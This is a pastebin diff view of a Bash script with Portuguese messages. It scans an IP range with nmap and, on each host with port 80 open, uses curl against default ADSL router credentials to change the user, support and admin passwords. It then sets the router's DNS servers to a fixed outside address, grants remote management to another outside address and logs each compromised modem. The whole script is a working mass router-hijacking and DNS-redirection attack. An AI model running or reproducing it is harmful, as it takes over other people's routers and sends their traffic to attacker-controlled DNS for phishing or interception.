View difference between Paste ID: TpHxC6Hv and 008FBMTJ
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
x=`nmap -V | grep "Nmap version 5.21"`;
3
if [ ! "$x" ];
4
then
5
  echo "Erro: verifique o nmap";
6
  exit;
7
fi;
8
if [ ! $1 ];
9
then
10
  echo "Digite full.sh [xxx.xxx.xxx]";
11
  echo "xxx.xxx.xxx sem o ultimo valor pois ele vai automatico de 1 a 254 ;)";
12
else
13
  for (( i=1; i<255; i++ ))
14
  do
15
    ip="$1.$i";
16
    echo "Efetuando disparo $ip";
17
    x=`nmap -sS $ip -n -p T:80 | grep "Host is up"`;
18
    if [ "$x" ];
19
    then
20
      echo "Trocando Password do ADSL $ip";
21
	  
22
      curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?usrPassword=bklchange -d "userName=3&pwdOld=user&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
23
	  if [ $? == "0" ];
24
	  then
25
        curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sptPassword=bklchange -d "userName=2&pwdOld=support&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
26
        curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sysPassword=bklchange -d "userName=1&pwdOld=admin&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
27
        curl --max-time 30 --connect-timeout 30 http://$ip/dnscfg.cgi -d "dnsPrimary=200.98.164.75&dnsSecondary=200.98.164.75&dnsDynamic=0&dnsRefresh=0" -u admin:bklchange > /dev/null;
28
        curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=add&addr=200.98.166.48" > /dev/null;
29
        curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=save&secAccCntrMode=1" > /dev/null;
30
        v=`curl --max-time 30 --connect-timeout 30 http://$ip/rebootinfo.cgi -u admin:bklchange | grep "DSL Router Reboot"`;
31
	    if [ "$v" ];
32
	    then
33
	      echo $ip >> modem-owned.log
34
	    fi;
35
	  fi;
36
    fi;
37
  done
38
fi;